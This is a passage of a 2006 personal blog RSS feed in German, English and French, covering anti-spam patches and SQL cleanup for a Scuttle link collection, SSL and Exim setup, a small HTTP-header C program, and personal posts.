  10715. Que tous les jours faut se lever<br>
  10716. Trouver la force d'y croire encore<br>
  10717. Quand tout notre corps hurle &quot;assez&quot;<br>
  10718. Sourire &#224; des gens inconnus<br>
  10719. Quand ceux qu'on aime ne sourient plus<br>
  10720. Dans la galerie de nos amours perdues<br>
  10721. Se souvenir que l'on n'est rien<br>
  10722. Qu'un paranth&#232;se dans le destin<br>
  10723. Sous-particule du genre humain<br>
  10724. Et ces journ&#233;es sont toutes les m&#234;mes<br>
  10725. Avec nos peurs et nos &quot;je t'aime&quot;<br>
  10726. Avec cette solitude am&#232;re<br>
  10727. On vit &#8211; on meurt et on esp&#232;re<br>
  10728. Une derni&#232;re lettre abandon&#233;e<br>
  10729. Du rouge &#224; l&#232;vres sur un caf&#233;<br>
  10730. N'importe quoi pour oublier<br>
  10731. Que tous les jours faut se lever&#8230;</p>
  10732.  
  10733. <p>(Glardon/<a href="https://web.archive.org/web/20081226085307/http://www.melatonin.cd/" title="Melatonin musique (archive.org)">Melatonin</a>)</p>
  10734.  
  10735.  
  10736. <p>Cette chanson d&#233;crit pas mal les trois semaines que je viens de passer &#224; l'arm&#233;e<br>
  10737. </p>
  10738.  
  10739. ]]></content:encoded>
  10740.  </item>
  10741.  
  10742.  <item>
  10743.    <title>Samstag ist Patchtag</title>
  10744.    <link>https://blog.x-way.org/Coding/2006/08/19/Samstag-ist-Patchtag.html</link>
  10745.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324097</guid>
  10746.    <dc:creator>Andreas Jaggi</dc:creator>
  10747.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10748.    <pubDate>Sat, 19 Aug 2006 15:04:57 +0200</pubDate>
  10749.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  10750.    <description><![CDATA[<p>Heute jedenfalls: um meine <a href="http://links.x-way.org">Linksammlung</a> in Zukunft besser vor Spammern zu schützen, habe ich <a href="https://github.com/scronide/scuttle">Scuttle</a> ein bisschen erweitert:</p>
  10751.  
  10752. <ul>
  10753. <li>Zuerst wurde eine E-Mail-Benachrichtigung eingebaut, wenn sich ein neuer User registriert. So können Spammer nicht mehr tagelang unbemerkt ihr Unwesen treiben. &#8594;&nbsp;<a href="https://blog.x-way.org/stuff/scuttle-email-notification.diff">scuttle-email-notification.diff</a></li>
  10754.  
  10755. <li>Dann habe ich einen Filter eingebaut, damit sich Spammer nicht mehr mit freexxx, pornlinks oder texaspoker registrieren können. &#8594;&nbsp;<a href="https://blog.x-way.org/stuff/scuttle-reasonableusernames.diff">scuttle-reasonableusernames.diff</a></li>
  10756.  
  10757. <li>Und zum Schluss gibt's noch einen Adminbereich wo Spammer bequem ausgewählt und mitsammt ihrer Links und Tags gelöscht werden können. &#8594;&nbsp;<a href="https://blog.x-way.org/stuff/scuttle-admin.diff">scuttle-admin.diff</a></li>
  10758. </ul>
  10759. <p>Um den Adminbereich nutzen zu können muss in der Datenbank noch ein Feld <code>uAdmin</code> vom Typ <code>TINYINT(1)</code> zur Tabelle <code>sc_users</code> hinzugefügt werden. Danach dieses einfach auf <code>1</code> setzen um einen Benutzer zum Administrator zu machen.</p>
  10760.  
  10761. ]]></description>
  10762.    <content:encoded><![CDATA[<p>Heute jedenfalls: um meine <a href="http://links.x-way.org">Linksammlung</a> in Zukunft besser vor Spammern zu schützen, habe ich <a href="https://github.com/scronide/scuttle">Scuttle</a> ein bisschen erweitert:</p>
  10763.  
  10764. <ul>
  10765. <li>Zuerst wurde eine E-Mail-Benachrichtigung eingebaut, wenn sich ein neuer User registriert. So können Spammer nicht mehr tagelang unbemerkt ihr Unwesen treiben. &#8594;&nbsp;<a href="https://blog.x-way.org/stuff/scuttle-email-notification.diff">scuttle-email-notification.diff</a></li>
  10766.  
  10767. <li>Dann habe ich einen Filter eingebaut, damit sich Spammer nicht mehr mit freexxx, pornlinks oder texaspoker registrieren können. &#8594;&nbsp;<a href="https://blog.x-way.org/stuff/scuttle-reasonableusernames.diff">scuttle-reasonableusernames.diff</a></li>
  10768.  
  10769. <li>Und zum Schluss gibt's noch einen Adminbereich wo Spammer bequem ausgewählt und mitsammt ihrer Links und Tags gelöscht werden können. &#8594;&nbsp;<a href="https://blog.x-way.org/stuff/scuttle-admin.diff">scuttle-admin.diff</a></li>
  10770. </ul>
  10771. <p>Um den Adminbereich nutzen zu können muss in der Datenbank noch ein Feld <code>uAdmin</code> vom Typ <code>TINYINT(1)</code> zur Tabelle <code>sc_users</code> hinzugefügt werden. Danach dieses einfach auf <code>1</code> setzen um einen Benutzer zum Administrator zu machen.</p>
  10772.  
  10773. ]]></content:encoded>
  10774.  </item>
  10775.  
  10776.  <item>
  10777.    <title>Setting up an SSL server with Apache2</title>
  10778.    <link>https://blog.x-way.org/Linux/2006/08/18/Setting-up-an-SSL-server-with-Apache2.html</link>
  10779.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324096</guid>
  10780.    <dc:creator>Andreas Jaggi</dc:creator>
  10781.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10782.    <pubDate>Fri, 18 Aug 2006 18:25:21 +0200</pubDate>
  10783.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  10784.    <description><![CDATA[<p>Thanks to <a href="http://web.archive.org/web/20060924182758/https://debian-administration.org/articles/349" title="Debian Administration :: Setting up an SSL server with Apache2">this</a> (really simple) tutorial from <a href="http://web.archive.org/web/20060823192254/https://debian-administration.org/" title="Debian Administration">debian-administration.org</a> I managed to enable SSL on my server. Thus <a href="https://links.x-way.org/" title="https://links.x-way.org/">links.x-way.org</a> is available via HTTPS.</p>
  10785. <p>
  10786. If you run a server without SSL, please take two minutes and enable it.<br>Your users will be thankfull for their protected privacy.</p>
  10787. ]]></description>
  10788.    <content:encoded><![CDATA[<p>Thanks to <a href="http://web.archive.org/web/20060924182758/https://debian-administration.org/articles/349" title="Debian Administration :: Setting up an SSL server with Apache2">this</a> (really simple) tutorial from <a href="http://web.archive.org/web/20060823192254/https://debian-administration.org/" title="Debian Administration">debian-administration.org</a> I managed to enable SSL on my server. Thus <a href="https://links.x-way.org/" title="https://links.x-way.org/">links.x-way.org</a> is available via HTTPS.</p>
  10789. <p>
  10790. If you run a server without SSL, please take two minutes and enable it.<br>Your users will be thankfull for their protected privacy.</p>
  10791. ]]></content:encoded>
  10792.  </item>
  10793.  
  10794.  <item>
  10795.    <title>Weg mit dem Spam</title>
  10796.    <link>https://blog.x-way.org/Misc/2006/08/17/Weg-mit-dem-Spam.html</link>
  10797.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324095</guid>
  10798.    <dc:creator>Andreas Jaggi</dc:creator>
  10799.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10800.    <pubDate>Thu, 17 Aug 2006 16:50:46 +0200</pubDate>
  10801.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10802.    <description><![CDATA[<p>Heute wurde meine mit <a href="https://github.com/scronide/scuttle" title="scuttle.org">Scuttle</a> funktionierende <a href="http://links.x-way.org/" title="links.x-way.org">Linksammlung</a> von einem Spammer heimgesucht.<br>
  10803. Resultat: rund 10'000 Spamlinks und etwa dreimal soviele Spamtags.</p>
  10804.  
  10805. <p>Glücklicherweise lässt sich das mit nur drei SQL Befehlen entfernen:</p>
  10806.  
  10807. <ol>
  10808. <li>
  10809. <p><var>spammer-uId</var> ausfindig machen und entsprechenden User löschen</p>
  10810. <code>DELET FROM sc_users WHERE uID = <var>spammer-uId</var></code></li>
  10811.  
  10812. <li>
  10813. <p>Spamtags löschen</p>
  10814. <code>
  10815. DELETE FROM sc_tags WHERE bId IN (SELECT bId FROM sc_bookmarks WHERE uId = <var>spammer-uId</var>)
  10816. </code>
  10817. </li>
  10818.  
  10819. <li>
  10820. <p>Spamlinks löschen</p>
  10821. <code> DELETE FROM sc_bookmarks WHERE uId = <var>spammer-uId</var></code>
  10822. </li>
  10823. </ol>
  10824. ]]></description>
  10825.    <content:encoded><![CDATA[<p>Heute wurde meine mit <a href="https://github.com/scronide/scuttle" title="scuttle.org">Scuttle</a> funktionierende <a href="http://links.x-way.org/" title="links.x-way.org">Linksammlung</a> von einem Spammer heimgesucht.<br>
  10826. Resultat: rund 10'000 Spamlinks und etwa dreimal soviele Spamtags.</p>
  10827.  
  10828. <p>Glücklicherweise lässt sich das mit nur drei SQL Befehlen entfernen:</p>
  10829.  
  10830. <ol>
  10831. <li>
  10832. <p><var>spammer-uId</var> ausfindig machen und entsprechenden User löschen</p>
  10833. <code>DELET FROM sc_users WHERE uID = <var>spammer-uId</var></code></li>
  10834.  
  10835. <li>
  10836. <p>Spamtags löschen</p>
  10837. <code>
  10838. DELETE FROM sc_tags WHERE bId IN (SELECT bId FROM sc_bookmarks WHERE uId = <var>spammer-uId</var>)
  10839. </code>
  10840. </li>
  10841.  
  10842. <li>
  10843. <p>Spamlinks löschen</p>
  10844. <code> DELETE FROM sc_bookmarks WHERE uId = <var>spammer-uId</var></code>
  10845. </li>
  10846. </ol>
  10847. ]]></content:encoded>
  10848.  </item>
  10849.  
  10850.  <item>
  10851.    <title>Bachelor</title>
  10852.    <link>https://blog.x-way.org/Misc/2006/08/16/Bachelor.html</link>
  10853.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324094</guid>
  10854.    <dc:creator>Andreas Jaggi</dc:creator>
  10855.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10856.    <pubDate>Wed, 16 Aug 2006 11:56:00 +0200</pubDate>
  10857.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10858.    <description><![CDATA[<blockquote><p>Vu ces r&#233;sultats, le Bachelor of Science BSc en informatique lui est d&#233;cern&#233;.<br>
  10859. In consideration of these results the candidate is awarded the &quot;Bachelor of Science BSc in Computer Science&quot;</p></blockquote>
  10860. ]]></description>
  10861.    <content:encoded><![CDATA[<blockquote><p>Vu ces r&#233;sultats, le Bachelor of Science BSc en informatique lui est d&#233;cern&#233;.<br>
  10862. In consideration of these results the candidate is awarded the &quot;Bachelor of Science BSc in Computer Science&quot;</p></blockquote>
  10863. ]]></content:encoded>
  10864.  </item>
  10865.  
  10866.  <item>
  10867.    <title>httphead.c</title>
  10868.    <link>https://blog.x-way.org/Coding/2006/08/13/httpheadc.html</link>
  10869.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324093</guid>
  10870.    <dc:creator>Andreas Jaggi</dc:creator>
  10871.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10872.    <pubDate>Sun, 13 Aug 2006 15:40:34 +0200</pubDate>
  10873.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  10874.    <description><![CDATA[<p>Da es mir gestern Abend etwas langweilig war, habe ich mich ein bisschen im C Programmieren geübt, schliesslich sollte ich darin fit sein wenn ich im Herbst mein <a href="https://www.epfl.ch/labs/lsir/teaching/completed-projects/programming-worlds-smallest-computer/" title="LSIR Project - Programming world's smallest computer ">Semesterprojekt</a> beginne.</p>
  10875. <p>Dabei ist ein kleines Programm entstanden, das den HTTP-Header einer Website ausgibt: <a href="https://blog.x-way.org/stuff/httphead.c" title="httphead.c">httphead.c</a></p>
  10876. ]]></description>
  10877.    <content:encoded><![CDATA[<p>Da es mir gestern Abend etwas langweilig war, habe ich mich ein bisschen im C Programmieren geübt, schliesslich sollte ich darin fit sein wenn ich im Herbst mein <a href="https://www.epfl.ch/labs/lsir/teaching/completed-projects/programming-worlds-smallest-computer/" title="LSIR Project - Programming world's smallest computer ">Semesterprojekt</a> beginne.</p>
  10878. <p>Dabei ist ein kleines Programm entstanden, das den HTTP-Header einer Website ausgibt: <a href="https://blog.x-way.org/stuff/httphead.c" title="httphead.c">httphead.c</a></p>
  10879. ]]></content:encoded>
  10880.  </item>
  10881.  
  10882.  <item>
  10883.    <title>No more trackback (spam)</title>
  10884.    <link>https://blog.x-way.org/Misc/2006/08/13/No-more-trackback-spam.html</link>
  10885.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324092</guid>
  10886.    <dc:creator>Andreas Jaggi</dc:creator>
  10887.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10888.    <pubDate>Sun, 13 Aug 2006 15:20:21 +0200</pubDate>
  10889.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10890.    <description><![CDATA[<p>Gestern wurde mir mitgeteilt, dass mein trackback.php Script den Server zum Absturz gebracht hat!<br>
  10891. Das erstaunt mich nicht besonders, da ich hier in letzter Zeit immer stärker mit Trackback-Spam bombardiert werde und der schützende Bayesian Spam-Filter nicht gerade sehr ressourcenschonend arbeitet.</p>
  10892. <p>Also gibt's ab jetzt hier keine Trackback-Unterstützung mehr. Aufrufe von trackback.php werden mit 410 oder 403 beantwortet!</p>
  10893. ]]></description>
  10894.    <content:encoded><![CDATA[<p>Gestern wurde mir mitgeteilt, dass mein trackback.php Script den Server zum Absturz gebracht hat!<br>
  10895. Das erstaunt mich nicht besonders, da ich hier in letzter Zeit immer stärker mit Trackback-Spam bombardiert werde und der schützende Bayesian Spam-Filter nicht gerade sehr ressourcenschonend arbeitet.</p>
  10896. <p>Also gibt's ab jetzt hier keine Trackback-Unterstützung mehr. Aufrufe von trackback.php werden mit 410 oder 403 beantwortet!</p>
  10897. ]]></content:encoded>
  10898.  </item>
  10899.  
  10900.  <item>
  10901.    <title>Länder Stöckchen</title>
  10902.    <link>https://blog.x-way.org/Misc/2006/07/02/Laender-Stoeckchen.html</link>
  10903.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324091</guid>
  10904.    <dc:creator>Andreas Jaggi</dc:creator>
  10905.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10906.    <pubDate>Sun, 02 Jul 2006 16:57:54 +0200</pubDate>
  10907.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10908.    <description><![CDATA[<p>
  10909. <a href="https://blog.x-way.org/images/countrymap.gif" title="countrymap">
  10910. <img width="400" height="250" src="https://blog.x-way.org/images/worldmap.gif" alt="worldmap">
  10911. </a>
  10912. </p>
  10913.  
  10914. <p>
  10915. Eigentlich sollte ich ja für die Prüfungen lernen und nicht vor dem Computer sitzen. Aber wenn die Motivation nicht da ist kann man nichts machen ;-)<br>
  10916. Und dann wirft mir <a href="https://kniebes.com" title="deep-resonance">Markus</a> auch noch ein Stöckchen zu. Danke, noch eine Ausrede mehr um mich vom Lernen abzuhalten :-)
  10917. </p>
  10918. <p>
  10919. Wie man sieht bin ich als Student noch nicht so viel in der Welt rumgekommen.<br>
  10920. Das Stöckchen gebe ich an <a href="https://web.archive.org/web/20070608110056/http://blog.robwei.de/rwo2k5/" title="RWo 2k5 :: Weblog (archive.org)">Robert</a>, <a href="https://web.archive.org/web/20070304175435/http://blog.boltzmann-konstante.de/" title="The Boltzmann Constant (archive.org)">Gordon</a> und <a href="https://web.archive.org/web/20060717105321/http://www.thegeek.de/blog/" title="thegeek.de blog (archive.org)">Marc</a> weiter.<br>Die Karten kann man sich bei <a href="https://web.archive.org/web/20060612234134/http://www.world66.com/myworld66" title="My World66 (archive.org)">world66.com</a> generieren lassen.<br>Voil&#224;!</p>
  10921.  
  10922. ]]></description>
  10923.    <content:encoded><![CDATA[<p>
  10924. <a href="https://blog.x-way.org/images/countrymap.gif" title="countrymap">
  10925. <img width="400" height="250" src="https://blog.x-way.org/images/worldmap.gif" alt="worldmap">
  10926. </a>
  10927. </p>
  10928.  
  10929. <p>
  10930. Eigentlich sollte ich ja für die Prüfungen lernen und nicht vor dem Computer sitzen. Aber wenn die Motivation nicht da ist kann man nichts machen ;-)<br>
  10931. Und dann wirft mir <a href="https://kniebes.com" title="deep-resonance">Markus</a> auch noch ein Stöckchen zu. Danke, noch eine Ausrede mehr um mich vom Lernen abzuhalten :-)
  10932. </p>
  10933. <p>
  10934. Wie man sieht bin ich als Student noch nicht so viel in der Welt rumgekommen.<br>
  10935. Das Stöckchen gebe ich an <a href="https://web.archive.org/web/20070608110056/http://blog.robwei.de/rwo2k5/" title="RWo 2k5 :: Weblog (archive.org)">Robert</a>, <a href="https://web.archive.org/web/20070304175435/http://blog.boltzmann-konstante.de/" title="The Boltzmann Constant (archive.org)">Gordon</a> und <a href="https://web.archive.org/web/20060717105321/http://www.thegeek.de/blog/" title="thegeek.de blog (archive.org)">Marc</a> weiter.<br>Die Karten kann man sich bei <a href="https://web.archive.org/web/20060612234134/http://www.world66.com/myworld66" title="My World66 (archive.org)">world66.com</a> generieren lassen.<br>Voil&#224;!</p>
  10936.  
  10937. ]]></content:encoded>
  10938.  </item>
  10939.  
  10940.  <item>
  10941.    <title>Four rings</title>
  10942.    <link>https://blog.x-way.org/Misc/2006/07/02/Four-rings.html</link>
  10943.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324090</guid>
  10944.    <dc:creator>Andreas Jaggi</dc:creator>
  10945.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10946.    <pubDate>Sun, 02 Jul 2006 15:39:15 +0200</pubDate>
  10947.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10948.    <description><![CDATA[<p><img width="318" height="253" src="https://blog.x-way.org/images/fourrings.jpg" alt="Four rings"></p>
  10949.  
  10950. <p>Via <a href="http://www.ende-der-vernunft.org/" title="EDV - Ende der Vernunft">EDV</a>.</p>
  10951.  
  10952. ]]></description>
  10953.    <content:encoded><![CDATA[<p><img width="318" height="253" src="https://blog.x-way.org/images/fourrings.jpg" alt="Four rings"></p>
  10954.  
  10955. <p>Via <a href="http://www.ende-der-vernunft.org/" title="EDV - Ende der Vernunft">EDV</a>.</p>
  10956.  
  10957. ]]></content:encoded>
  10958.  </item>
  10959.  
  10960.  <item>
  10961.    <title>Back in Black</title>
  10962.    <link>https://blog.x-way.org/Misc/2006/06/25/Back-in-Black.html</link>
  10963.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324089</guid>
  10964.    <dc:creator>Andreas Jaggi</dc:creator>
  10965.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10966.    <pubDate>Sun, 25 Jun 2006 23:40:31 +0200</pubDate>
  10967.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10968.    <description><![CDATA[<p><a href="https://blog.x-way.org/images/06-25-2006_23-38-1151271481.png" title="Back in Black"><img src="https://blog.x-way.org/images/backinblack.gif" width="147" height="84" alt="Back in Black"></a></p>
  10969. ]]></description>
  10970.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/images/06-25-2006_23-38-1151271481.png" title="Back in Black"><img src="https://blog.x-way.org/images/backinblack.gif" width="147" height="84" alt="Back in Black"></a></p>
  10971. ]]></content:encoded>
  10972.  </item>
  10973.  
  10974.  <item>
  10975.    <title>Configuring Exim4 and Courier IMAP under Debian GNU/Linux</title>
  10976.    <link>https://blog.x-way.org/Linux/2006/06/25/Configuring-Exim4-and-Courier-IMAP-under-Debian-GNULinux.html</link>
  10977.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324088</guid>
  10978.    <dc:creator>Andreas Jaggi</dc:creator>
  10979.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10980.    <pubDate>Sun, 25 Jun 2006 21:18:46 +0200</pubDate>
  10981.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  10982.    <description><![CDATA[<p>Today I finally installed a mail transfer agent/mail delivery agent on my server.</p>
  10983. <p>I quickly looked at the most popular applications for such a job (<a href="http://exim.org/" title="exim Internet Mailer">Exim</a>, <a href="http://www.postfix.org/" title="The Postfix Home Page">Postfix</a> and <a href="http://qmail.omnis.ch/top.html" title="qmail: Second most popular MTA on the internet">qmail</a>) and choosed Exim 4 (especially because it's the only one which is 'real' opensource).</p>
  10984. <p>Then I searched a Howto or tutorial on Google, but most results were not really useful. For example the <a href="https://web.archive.org/web/20060630094103/http://archiv.debianhowto.de/en/exim4/index.html" title="Exim 4 Howto (archive.org)">Exim 4 Howto</a> from debianhowto.de like many others disappointed me a bit since they don't give any advice on configuring Exim. But after some evolution and mutation of the search string I finally found a very good guide.</p>
  10985. <p><a href="https://web.archive.org/web/20060701200837/http://www.trekweb.com/~jasonb/articles/exim4_courier/index.html" title="Configuring Exim4 and Courier IMAP under Debian GNU/Linux (archive.org)">Configuring Exim4 and Courier IMAP under Debian GNU/Linux</a> from <a href="https://web.archive.org/web/20060720111022/http://www.trekweb.com/~jasonb/" title="Jasons's Web Thingy (archive.org)">Jason Boxman</a> helped me to set up Exim step by step. Not also he explains how to install Exim but he also shows how to interact with Courier IMAP and how to secure all transfers with SSL.</p>
  10986. <p>I can only recommend you this guide if you want to install Exim 4 on a Debian system.</p>
  10987. ]]></description>
  10988.    <content:encoded><![CDATA[<p>Today I finally installed a mail transfer agent/mail delivery agent on my server.</p>
  10989. <p>I quickly looked at the most popular applications for such a job (<a href="http://exim.org/" title="exim Internet Mailer">Exim</a>, <a href="http://www.postfix.org/" title="The Postfix Home Page">Postfix</a> and <a href="http://qmail.omnis.ch/top.html" title="qmail: Second most popular MTA on the internet">qmail</a>) and choosed Exim 4 (especially because it's the only one which is 'real' opensource).</p>
  10990. <p>Then I searched a Howto or tutorial on Google, but most results were not really useful. For example the <a href="https://web.archive.org/web/20060630094103/http://archiv.debianhowto.de/en/exim4/index.html" title="Exim 4 Howto (archive.org)">Exim 4 Howto</a> from debianhowto.de like many others disappointed me a bit since they don't give any advice on configuring Exim. But after some evolution and mutation of the search string I finally found a very good guide.</p>
  10991. <p><a href="https://web.archive.org/web/20060701200837/http://www.trekweb.com/~jasonb/articles/exim4_courier/index.html" title="Configuring Exim4 and Courier IMAP under Debian GNU/Linux (archive.org)">Configuring Exim4 and Courier IMAP under Debian GNU/Linux</a> from <a href="https://web.archive.org/web/20060720111022/http://www.trekweb.com/~jasonb/" title="Jasons's Web Thingy (archive.org)">Jason Boxman</a> helped me to set up Exim step by step. Not also he explains how to install Exim but he also shows how to interact with Courier IMAP and how to secure all transfers with SSL.</p>
  10992. <p>I can only recommend you this guide if you want to install Exim 4 on a Debian system.</p>
  10993. ]]></content:encoded>
  10994.  </item>
  10995.  
  10996.  <item>
  10997.    <title>Lordi Rules</title>
  10998.    <link>https://blog.x-way.org/Misc/2006/05/25/Lordi-Rules.html</link>
  10999.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324087</guid>
  11000.    <dc:creator>Andreas Jaggi</dc:creator>
  11001.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11002.    <pubDate>Thu, 25 May 2006 19:13:01 +0200</pubDate>
  11003.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  11004.    <description><![CDATA[It seems that <a href="http://en.wikipedia.org/wiki/Linus_Torvalds" title="Linus Torvalds - Wikipedia">Linus Torvalds</a> also followed the <a href="http://www.eurovision.tv/" title="Eurovision Song Contest">Eurovision Song Contest</a>. He called the new (fifth) release candidate of Linux 2.6.17 &quot;<a href="https://web.archive.org/web/20060516000905/http://www.lordi.org/" title="LORDI">Lordi</a> Rules&quot; which replaces the old name &quot;Sliding Snow Leopard&quot;. (via <a href="http://kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=a8bd60705aa17a998516837d9c1e503ad4cbd7fc;hp=4f3a151a11da3351e2149a401d4ee18426938de7" title="git - linux/kernel/git/torvalds/linux-2.6.git/commitdiff">git commit</a>)<br>
  11005. ]]></description>
  11006.    <content:encoded><![CDATA[It seems that <a href="http://en.wikipedia.org/wiki/Linus_Torvalds" title="Linus Torvalds - Wikipedia">Linus Torvalds</a> also followed the <a href="http://www.eurovision.tv/" title="Eurovision Song Contest">Eurovision Song Contest</a>. He called the new (fifth) release candidate of Linux 2.6.17 &quot;<a href="https://web.archive.org/web/20060516000905/http://www.lordi.org/" title="LORDI">Lordi</a> Rules&quot; which replaces the old name &quot;Sliding Snow Leopard&quot;. (via <a href="http://kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=a8bd60705aa17a998516837d9c1e503ad4cbd7fc;hp=4f3a151a11da3351e2149a401d4ee18426938de7" title="git - linux/kernel/git/torvalds/linux-2.6.git/commitdiff">git commit</a>)<br>
  11007. ]]></content:encoded>
  11008.  </item>
  11009.  
  11010.  <item>
  11011.    <title>Scriptaculous Cheat Sheet</title>
  11012.    <link>https://blog.x-way.org/Webdesign/2006/04/24/Scriptaculous-Cheat-Sheet.html</link>
  11013.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324086</guid>
  11014.    <dc:creator>Andreas Jaggi</dc:creator>
  11015.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11016.    <pubDate>Mon, 24 Apr 2006 10:06:56 +0200</pubDate>
  11017.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  11018.    <description><![CDATA[<p><a href="http://www.slash7.com/" title="(24)slash7">Amy Hoy</a> has released a nice <a href="http://www.slash7.com/articles/2006/04/22/scriptaculous-cheat-sheet-1" title="Scriptaculous Cheat Sheet #1">Scriptaculous Cheat Sheet</a> just at the right moment since I'm going to use <a href="http://script.aculo.us/" title="script.aculo.us - web 2.0 javascript">Scriptaculous</a> for the redesign of <a href="http://actualites.epfl.ch" title="News :: Media &amp; Communication">actualites.epfl.ch</a>.</p>
  11019. ]]></description>
  11020.    <content:encoded><![CDATA[<p><a href="http://www.slash7.com/" title="(24)slash7">Amy Hoy</a> has released a nice <a href="http://www.slash7.com/articles/2006/04/22/scriptaculous-cheat-sheet-1" title="Scriptaculous Cheat Sheet #1">Scriptaculous Cheat Sheet</a> just at the right moment since I'm going to use <a href="http://script.aculo.us/" title="script.aculo.us - web 2.0 javascript">Scriptaculous</a> for the redesign of <a href="http://actualites.epfl.ch" title="News :: Media &amp; Communication">actualites.epfl.ch</a>.</p>
  11021. ]]></content:encoded>
  11022.  </item>
  11023.  
  11024.  <item>
  11025.    <title>Fünf Fragen über Internet und Musik</title>
  11026.    <link>https://blog.x-way.org/Music/2006/02/18/Fuenf-Fragen-ueber-Internet-und-Musik.html</link>
  11027.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324085</guid>
  11028.    <dc:creator>Andreas Jaggi</dc:creator>
  11029.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11030.    <pubDate>Sat, 18 Feb 2006 12:04:50 +0100</pubDate>
  11031.    <category domain="https://blog.x-way.org/Music/">Music</category>
  11032.    <description><![CDATA[<p>Und wieder eine Ausgabe <a href="https://web.archive.org/web/20070813083532/http://xn--diefreitglichenfnf-stb20c.de/" title="Internet und Musik (die freitäglichen fünf) (archive.org)">der freitäglichen fünf</a>, diesmal zum Thema Musik und Internet.</p>
  11033.  
  11034. <ol>
  11035. <li>
  11036. <p><q>Nutzt du kostenpflichtige Angebote zum Musikdownload? Wenn ja,
  11037. welche und wenn nicht, warum nicht? Nutzt du kostenfreie (legale)
  11038. Angebote?</q></p>
  11039.  
  11040. <p>Nein, ich nutze weder einen kostenplichtigen noch einen kostenlosen
  11041. Musikdownload-Service. Meistens kaufe ich CDs direkt an einem Konzert
  11042. oder ich bestelle sie bei cede.ch.</p>
  11043. </li>
  11044.  
  11045. <li>
  11046. <p><q>Spielst du ein Instrument?</q></p>
  11047.  
  11048. <p>Aktuell nicht mehr, aber früher habe ich Schlagzeug gespielt.</p>
  11049. </li>
  11050.  
  11051. <li>
  11052. <p><q>Wie hat sich dein Musikgeschmack entwickelt? Haben Musikangebote aus dem Internet evtl. Einflu&#223; auf diese Entwicklung?</q></p>
  11053.  
  11054. <p>Bedingt durch mein Studium in Lausanne, hat mein Musikgeschmack in letzter Zeit etwas einen französischen Touch erhalten.<br>
  11055. Musikangebote aus dem Internet haben keinen Einfluss auf diese Entwicklung, hingegen die Konzerte im <a href="http://satwww.epfl.ch/" title="Satellite - Bar, Concerts, Cafés-Théâtres">Satellite</a> schon eher :-)</p>
  11056. </li>
  11057.  
  11058. <li>
  11059. <p><q>Bist Du mit der derzeitigen Gesetzgebung zum Thema Privatkopien vertraut?</q></p>
  11060.  
  11061. <p>Ja.</p>
  11062. </li>
  11063.  
  11064. <li>
  11065. <p><q>Deine Platten-, CD- oder MP3-Sammlung ist dein Schatz? Gibt es besondere Schmuckstücke?</q></p>
  11066.  
  11067. <p>Ein Schatz nicht direkt, aber ich verleihe meine CDs nicht gerne.<br>
  11068. Eigentliche Schmuckstücke oder richtige Raritäten besitze ich nicht,
  11069. aber diverse CDs sind signiert und mit einer Widmung versehen.</p>
  11070. </li>
  11071. </ol>
  11072. ]]></description>
  11073.    <content:encoded><![CDATA[<p>Und wieder eine Ausgabe <a href="https://web.archive.org/web/20070813083532/http://xn--diefreitglichenfnf-stb20c.de/" title="Internet und Musik (die freitäglichen fünf) (archive.org)">der freitäglichen fünf</a>, diesmal zum Thema Musik und Internet.</p>
  11074.  
  11075. <ol>
  11076. <li>
  11077. <p><q>Nutzt du kostenpflichtige Angebote zum Musikdownload? Wenn ja,
  11078. welche und wenn nicht, warum nicht? Nutzt du kostenfreie (legale)
  11079. Angebote?</q></p>
  11080.  
  11081. <p>Nein, ich nutze weder einen kostenplichtigen noch einen kostenlosen
  11082. Musikdownload-Service. Meistens kaufe ich CDs direkt an einem Konzert
  11083. oder ich bestelle sie bei cede.ch.</p>
